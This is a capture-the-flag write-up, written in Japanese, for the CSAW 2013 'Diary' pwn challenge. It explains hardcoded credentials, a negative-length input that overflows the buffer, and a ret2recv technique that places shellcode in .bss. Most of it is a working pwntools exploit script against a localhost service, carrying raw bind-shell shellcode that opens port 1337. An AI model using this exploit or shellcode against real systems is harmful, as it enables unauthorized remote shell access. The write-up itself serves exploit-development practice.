    *  *       ***         $ $     A    A   A    A    *   ***   ***   *
    *  ********  *   $$$$$$   $    A    A   A    A     *             * 
     *************   $$$$$$$$$$    AAAAAA   AAAAAA      ************* 
        Dairy

UserName: csaw2013
Password: S1mplePWD
Welcome!
http://youtu.be/KmtzQCSh6xk

Entry Info: 12
AAAABBBBCCCCDDDD
Til next time

接続すると、最初にusernameとpasswordを聞かれる。 これはidaで解析してたらそのままusernameとpasswordが書いてあった。

Entry_infoが負数を入れると大量の入力を入れることができる。今回はこれを利用する。

NXbitも立っていないので、単純にシェルコードを送ってやれば良い。

バッファのアドレスがわからないので、recv関数を呼び出して、.bssセクションの先頭にshellcodeを入れて、リターンアドレスを.bssセクションの先頭に挿入してやれば良い。

exploit

from pwn import *
import time


r = remote('127.0.0.1', 34266)

user = 'csaw2013'
passwd = 'S1mplePWD'

entry_i = '-1'

buffer_size = 1056
buf_addr = 0xffbbe8dc
recv_addr = 0x8048890
bss_addr = 0x804b008

# http://shell-storm.org/shellcode/files/shellcode-882.php
# Shell Bind TCP Shellcode Port 1337 - 89 bytes
shellcode = "\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\x05\x39\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57\x89\xe1\xcd\x80\x59\x59\xb1\x02\x93\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\x89\xca\xcd\x80"

print r.recvuntil('UserName: ')
r.sendline(user)

print r.recvuntil('Password: ')
r.sendline(passwd)

time.sleep(1)

print r.recvuntil('Entry Info: ')
r.sendline(entry_i)


buf = '\x90'*buffer_size
# recv(4, bss_addr, sizeof(shellcode), 0)
buf += p32(recv_addr) + p32(bss_addr) + p32(4) + p32(bss_addr) + p32(len(shellcode)) + p32(0)


# buf = shellcode + '\x90'*(buffer_size - len(shellcode)) + p32(buf_addr)

r.sendline(buf)
# r.interactive()

time.sleep(1)

r.sendline(shellcode)

p = remote('127.0.0.1', 1337)
p.interactive()